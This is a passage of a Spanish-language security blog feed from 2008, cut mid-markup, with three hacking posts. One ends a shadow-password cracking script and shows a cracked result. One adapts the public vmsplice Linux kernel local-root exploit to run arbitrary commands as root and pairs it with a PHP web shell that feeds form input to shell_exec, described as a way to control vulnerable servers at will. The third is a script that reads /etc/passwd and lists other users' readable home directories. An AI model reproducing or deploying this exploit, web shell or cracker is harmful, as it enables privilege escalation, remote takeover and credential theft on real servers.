<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">i=</span>`<span class="kw2">expr</span> <span class="re1">$i</span> + <span class="nu0">1</span>`;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">done</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Password not found. <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> &quot;</span>;</div>
</li>
</ol>
</div>
<p><strong>Funcionamiento:</strong> Lee palabras desde un fichero y por cada palabra leida genera un <em>hashed and salted password</em> y la compara con los parametros pasados al script.</p>
<blockquote><p>machine:~$ sh crack.sh DSfdsdaA .NySZJPYFdPr0ETVpMeKx1 wordlist<br />
Cracking .NySZJPYFdPr0ETVpMeKx1 &#8230;<br />
Attempts: 161597</p>
<p>Password Cracked.<br />
Decrypted password is: test</p></blockquote>
<p><a href="http://blog.zerial.org/files/shadow_cracker.sh">Descargar script</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>root exploit: Ejecutar comando como root</title>
		<link>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/</link>
		<comments>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 04:39:21 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=98</guid>
		<description><![CDATA[Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit. Tuve la idea de modificar uno de estos codigos publicados para [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo se dio a conocer un <em><a href="http://www.securityfocus.com/bid/27704" target="_other">bug</a></em> que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.<br />
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.</p>
<blockquote><p>root-exploit.diff</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">51a52</div>
</li>
<li class="li1">
<div class="de1">&gt; <span class="kw4">char</span>&nbsp; *_cmd;</div>
</li>
<li class="li1">
<div class="de1">55d55</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span>err ? <span class="st0">&quot;[-] %s: %s<span class="es0">\n</span>&quot;</span> : <span class="st0">&quot;[-] %s<span class="es0">\n</span>&quot;</span>, msg, strerror<span class="br0">&#40;</span>err<span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">182</span>,183d181</div>
</li>
<li class="li1">
<div class="de1">&lt;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] root<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">185c183,<span class="nu0">184</span></div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; execl<span class="br0">&#40;</span><span class="st0">&quot;/bin/bash&quot;</span>, <span class="st0">&quot;bash&quot;</span>, <span class="st0">&quot;-i&quot;</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&#8212;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; system<span class="br0">&#40;</span>_cmd<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; <span class="co1">//execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-i&quot;, NULL);</span></div>
</li>
<li class="li1">
<div class="de1">195a195</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; _cmd = argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">202</span>,205d201</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; Linux vmsplice Local Root Exploit<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; By qaaz<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">221</span>,223d216</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">241</span>,243d233</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">258</span>,259d247</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">269d256</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span></div>
</li>
</ol>
</div>
</blockquote>
<p>La modificacion que hago es eliminar todos los <em>printf</em> para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.</p>
<p><strong>Demostracion</strong></p>
<blockquote><p><code>username@machine:~$ ./root-exploit whoami<br />
root<br />
username@machine:~$ </code></p></blockquote>
<p><span id="more-98"></span></p>
<p>De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?PHP</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;form action=&quot;</span>?<span class="st0">&quot; method=&quot;</span>post<span class="st0">&quot;&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;input name=&quot;</span>cmd<span class="st0">&quot; type=&quot;</span>text<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">&lt;input type=&quot;</span>submit<span class="st0">&quot; value=&quot;</span><a href="http://www.php.net/exec"><span class="kw3">eXec</span></a>!<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;textarea cols=&quot;</span><span class="nu0">30</span><span class="st0">&quot; rows=&quot;</span><span class="nu0">120</span><span class="st0">&quot;&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <a href="http://www.php.net/shell_exec"><span class="kw3">shell_exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;./root-exploit &quot;</span>.<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;/textarea&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
</blockquote>
<p><strong>Descargas</strong><br />
<a href="http://blog.zerial.org/files/root-exploit.c" target="_other">Variacion del exploit</a><br />
<a href="http://www.milw0rm.com/exploits/5092" target="_other">Exploit original 1</a><br />
<a href="http://www.milw0rm.com/exploits/5093" target="_other">Exploit original 2</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;linkname=root%20exploit%3A%20Ejecutar%20comando%20como%20root">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>dirHack</title>
		<link>http://blog.zerial.org/seguridad/dirhack/</link>
		<comments>http://blog.zerial.org/seguridad/dirhack/#comments</comments>
		<pubDate>Sun, 05 Oct 2008 01:05:08 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dirhack]]></category>
		<category><![CDATA[GNU/Linux]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2008/10/04/dirhack/</guid>
		<description><![CDATA[El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores. #!/bin/sh # Written by Zerial &#38;amp; Pons # McDonald&#8216;s Day &#8230; # 21.34, Jun 13 2006 &#8211; Updated: 01.41, Jun 15 2006 # # # # # # # # # # # [...]]]></description>
			<content:encoded><![CDATA[<p>El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re3">#!/bin/sh</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Written by Zerial &amp;amp; Pons</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># McDonald</span><span class="st0">&#8216;s Day &#8230;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># 21.34, Jun 13 2006 &#8211; Updated: 01.41, Jun 15 2006</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"># # # # # # # # # # # # # # # # # # # # # # # # # #</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># &nbsp;____ &nbsp;_ &nbsp; &nbsp; &nbsp;_ &nbsp; _ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># | &nbsp;_ (_)_ __| | | | __ _ &nbsp;___| | __</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># | | | | | &#8216;</span>__| |_| |/ _` |/ __| |/ /</div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># | |_| | | | &nbsp;| &nbsp;_ &nbsp;| <span class="br0">&#40;</span>_| | <span class="br0">&#40;</span>__| &nbsp; &lt; # |____/|_|_| &nbsp;|_| |_|__,_|___|_|_</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3">#</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># # # # # # # # # # # # # # # # # # # # # # # # # #</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">version=</span><span class="st0">&quot;1.0.2&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re4">$#</span> -lt <span class="nu0">2</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">then</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;DirHack eXploit $version&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;This thing will list all sub-home directories&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;that are accesable by the user running the&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;script.&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> -e <span class="st0">&quot;tusage: $0 id output-file bz2|gz|text (default is text)&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> -e <span class="st0">&quot;texample: $0 999 out bz2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">break</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> &gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> ! -<span class="kw2">w</span> $<span class="nu0">2</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File $2 doesn&#8217;t have write permissions&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">break</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">freedirs=</span><span class="st0">&quot;public_html public_ftp etc tmp mail&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Starting DirHack $version&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;DirHack eXploit $version&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="kw2">dir</span> <span class="kw1">in</span> <span class="re1">$freedirs</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> user <span class="kw1">in</span> `<span class="kw2">awk</span> -F<span class="st0">&#8216;:&#8217;</span> <span class="st0">&#8216; {printf $1 &quot;n&quot;} &#8216;</span> /etc/<span class="kw2">passwd</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">userhome=</span>`<span class="kw2">cat</span> /etc/<span class="kw2">passwd</span> |grep <span class="re1">$user</span>: |grep :$<span class="br0">&#40;</span><span class="kw2">id</span> -u <span class="re1">$user</span><span class="br0">&#41;</span>: |awk -F<span class="st0">&#8216;:&#8217;</span> <span class="st0">&#8216; {printf $6 &quot;n&quot;}&#8217;</span>`</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">fulldir=</span><span class="re1">$userhome</span>/<span class="re1">$dir</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> `<span class="kw2">id</span> -u <span class="re1">$user</span>` -gt $<span class="nu0">1</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> -d <span class="re1">$fulldir</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
